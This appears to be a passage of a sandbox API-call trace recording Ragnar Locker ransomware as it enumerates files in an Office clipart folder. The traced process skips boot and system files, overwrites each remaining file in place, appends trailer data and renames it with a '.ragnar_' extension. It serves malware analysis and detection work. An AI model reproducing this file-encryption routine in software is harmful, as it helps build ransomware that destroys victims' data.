[0084.960] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1ec4, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x1ec4, lpOverlapped=0x0) returned 1 [0084.960] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1ec4, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0084.960] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0084.961] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1ec4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.961] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0084.961] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0084.961] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0084.961] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0084.961] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0084.961] GetProcessHeap () returned 0x580000 [0084.961] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0084.961] CloseHandle (hObject=0xf4) returned 1 [0084.961] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152876.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152876.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152876.WMF" [0084.961] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152876.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152876.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152876.WMF.ragnar_FD7BD9FC" [0084.961] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152876.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152876.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152876.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152876.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0084.962] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f73730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3a28, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0152878.WMF", cAlternateFileName="")) returned 1 [0084.962] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0084.962] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0152878.WMF" | out: lpString1="J0152878.WMF") returned="J0152878.WMF" [0084.962] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152878.WMF") returned=".WMF" [0084.962] lstrcmpiW (lpString1="J0152878.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0084.962] lstrcmpiW (lpString1="J0152878.WMF", lpString2="autorun.inf") returned 1 [0084.962] lstrcmpiW (lpString1="J0152878.WMF", lpString2="boot.ini") returned 1 [0084.962] lstrcmpiW (lpString1="J0152878.WMF", lpString2="bootfont.bin") returned 1 [0084.962] lstrcmpiW (lpString1="J0152878.WMF", lpString2="bootsect.bak") returned 1 [0084.962] lstrcmpiW (lpString1="J0152878.WMF", lpString2="bootmgr") returned 1 [0084.962] lstrcmpiW (lpString1="J0152878.WMF", lpString2="bootmgr.efi") returned 1 [0084.962] lstrcmpiW (lpString1="J0152878.WMF", lpString2="bootmgfw.efi") returned 1 [0084.962] lstrcmpiW (lpString1="J0152878.WMF", lpString2="desktop.ini") returned 1 [0084.962] lstrcmpiW (lpString1="J0152878.WMF", lpString2="iconcache.db") returned 1 [0084.962] lstrcmpiW (lpString1="J0152878.WMF", lpString2="ntldr") returned -1 [0084.962] lstrcmpiW (lpString1="J0152878.WMF", lpString2="ntuser.dat") returned -1 [0084.962] lstrcmpiW (lpString1="J0152878.WMF", lpString2="ntuser.dat.log") returned -1 [0084.963] lstrcmpiW (lpString1="J0152878.WMF", lpString2="ntuser.ini") returned -1 [0084.963] lstrcmpiW (lpString1="J0152878.WMF", lpString2="thumbs.db") returned -1 [0084.963] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0084.963] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0084.963] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0084.963] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0084.963] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0084.963] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0084.963] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0084.963] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152878.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152878.wmf")) returned 0x20 [0084.963] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152878.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152878.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0084.963] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=14888) returned 1 [0084.963] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x3a1f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.963] GetProcessHeap () returned 0x580000 [0084.963] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0084.963] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0084.965] VirtualAlloc (lpAddress=0x0, dwSize=0x3a28, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0084.965] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.965] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0084.965] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x3a28, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x3a28, lpOverlapped=0x0) returned 1 [0084.966] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0084.966] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x3a28, nNumberOfBytesToLockHigh=0x0) returned 1 [0084.966] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x3a28, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x3a28, lpOverlapped=0x0) returned 1 [0084.966] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x3a28, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0084.966] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0084.966] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x3a28, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.966] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0084.966] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0084.967] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0084.967] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0084.967] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0084.967] GetProcessHeap () returned 0x580000 [0084.967] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0084.967] CloseHandle (hObject=0xf4) returned 1 [0084.967] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152878.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152878.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152878.WMF" [0084.967] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152878.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152878.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152878.WMF.ragnar_FD7BD9FC" [0084.967] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152878.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152878.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152878.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152878.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0084.967] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f73730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2370, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0152882.WMF", cAlternateFileName="")) returned 1 [0084.967] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0084.967] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0152882.WMF" | out: lpString1="J0152882.WMF") returned="J0152882.WMF" [0084.968] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152882.WMF") returned=".WMF" [0084.968] lstrcmpiW (lpString1="J0152882.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0084.968] lstrcmpiW (lpString1="J0152882.WMF", lpString2="autorun.inf") returned 1 [0084.968] lstrcmpiW (lpString1="J0152882.WMF", lpString2="boot.ini") returned 1 [0084.968] lstrcmpiW (lpString1="J0152882.WMF", lpString2="bootfont.bin") returned 1 [0084.968] lstrcmpiW (lpString1="J0152882.WMF", lpString2="bootsect.bak") returned 1 [0084.968] lstrcmpiW (lpString1="J0152882.WMF", lpString2="bootmgr") returned 1 [0084.968] lstrcmpiW (lpString1="J0152882.WMF", lpString2="bootmgr.efi") returned 1 [0084.968] lstrcmpiW (lpString1="J0152882.WMF", lpString2="bootmgfw.efi") returned 1 [0084.968] lstrcmpiW (lpString1="J0152882.WMF", lpString2="desktop.ini") returned 1 [0084.968] lstrcmpiW (lpString1="J0152882.WMF", lpString2="iconcache.db") returned 1 [0084.968] lstrcmpiW (lpString1="J0152882.WMF", lpString2="ntldr") returned -1 [0084.968] lstrcmpiW (lpString1="J0152882.WMF", lpString2="ntuser.dat") returned -1 [0084.968] lstrcmpiW (lpString1="J0152882.WMF", lpString2="ntuser.dat.log") returned -1 [0084.968] lstrcmpiW (lpString1="J0152882.WMF", lpString2="ntuser.ini") returned -1 [0084.968] lstrcmpiW (lpString1="J0152882.WMF", lpString2="thumbs.db") returned -1 [0084.968] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0084.968] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0084.968] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0084.968] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0084.968] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0084.968] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0084.968] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0084.968] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152882.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152882.wmf")) returned 0x20 [0084.968] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152882.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152882.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0084.969] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=9072) returned 1 [0084.969] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x2367, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.969] GetProcessHeap () returned 0x580000 [0084.969] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0084.969] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0084.970] VirtualAlloc (lpAddress=0x0, dwSize=0x2370, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0084.970] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.970] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0084.970] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x2370, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x2370, lpOverlapped=0x0) returned 1 [0084.971] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0084.971] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2370, nNumberOfBytesToLockHigh=0x0) returned 1 [0084.971] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x2370, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x2370, lpOverlapped=0x0) returned 1 [0084.972] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x2370, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0084.972] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0084.972] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x2370, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.972] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0084.972] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0084.972] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0084.972] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0084.972] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0084.972] GetProcessHeap () returned 0x580000 [0084.972] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0084.972] CloseHandle (hObject=0xf4) returned 1 [0084.972] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152882.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152882.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152882.WMF" [0084.972] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152882.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152882.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152882.WMF.ragnar_FD7BD9FC" [0084.972] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152882.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152882.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152882.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152882.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0084.973] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f73730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1b2c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0152884.WMF", cAlternateFileName="")) returned 1 [0084.973] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0084.973] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0152884.WMF" | out: lpString1="J0152884.WMF") returned="J0152884.WMF" [0084.973] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152884.WMF") returned=".WMF" [0084.973] lstrcmpiW (lpString1="J0152884.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0084.973] lstrcmpiW (lpString1="J0152884.WMF", lpString2="autorun.inf") returned 1 [0084.973] lstrcmpiW (lpString1="J0152884.WMF", lpString2="boot.ini") returned 1 [0084.973] lstrcmpiW (lpString1="J0152884.WMF", lpString2="bootfont.bin") returned 1 [0084.973] lstrcmpiW (lpString1="J0152884.WMF", lpString2="bootsect.bak") returned 1 [0084.973] lstrcmpiW (lpString1="J0152884.WMF", lpString2="bootmgr") returned 1 [0084.973] lstrcmpiW (lpString1="J0152884.WMF", lpString2="bootmgr.efi") returned 1 [0084.973] lstrcmpiW (lpString1="J0152884.WMF", lpString2="bootmgfw.efi") returned 1 [0084.973] lstrcmpiW (lpString1="J0152884.WMF", lpString2="desktop.ini") returned 1 [0084.973] lstrcmpiW (lpString1="J0152884.WMF", lpString2="iconcache.db") returned 1 [0084.973] lstrcmpiW (lpString1="J0152884.WMF", lpString2="ntldr") returned -1 [0084.973] lstrcmpiW (lpString1="J0152884.WMF", lpString2="ntuser.dat") returned -1 [0084.973] lstrcmpiW (lpString1="J0152884.WMF", lpString2="ntuser.dat.log") returned -1 [0084.974] lstrcmpiW (lpString1="J0152884.WMF", lpString2="ntuser.ini") returned -1 [0084.974] lstrcmpiW (lpString1="J0152884.WMF", lpString2="thumbs.db") returned -1 [0084.974] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0084.974] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0084.974] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0084.974] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0084.974] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0084.974] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0084.974] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0084.974] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152884.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152884.wmf")) returned 0x20 [0084.974] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152884.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152884.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0084.974] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=6956) returned 1 [0084.974] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1b23, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.974] GetProcessHeap () returned 0x580000 [0084.974] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0084.974] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0084.976] VirtualAlloc (lpAddress=0x0, dwSize=0x1b2c, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0084.976] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.976] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0084.976] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1b2c, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x1b2c, lpOverlapped=0x0) returned 1 [0084.977] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0084.977] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1b2c, nNumberOfBytesToLockHigh=0x0) returned 1 [0084.977] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1b2c, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x1b2c, lpOverlapped=0x0) returned 1 [0084.977] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1b2c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0084.977] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0084.977] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1b2c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.977] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0084.977] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, 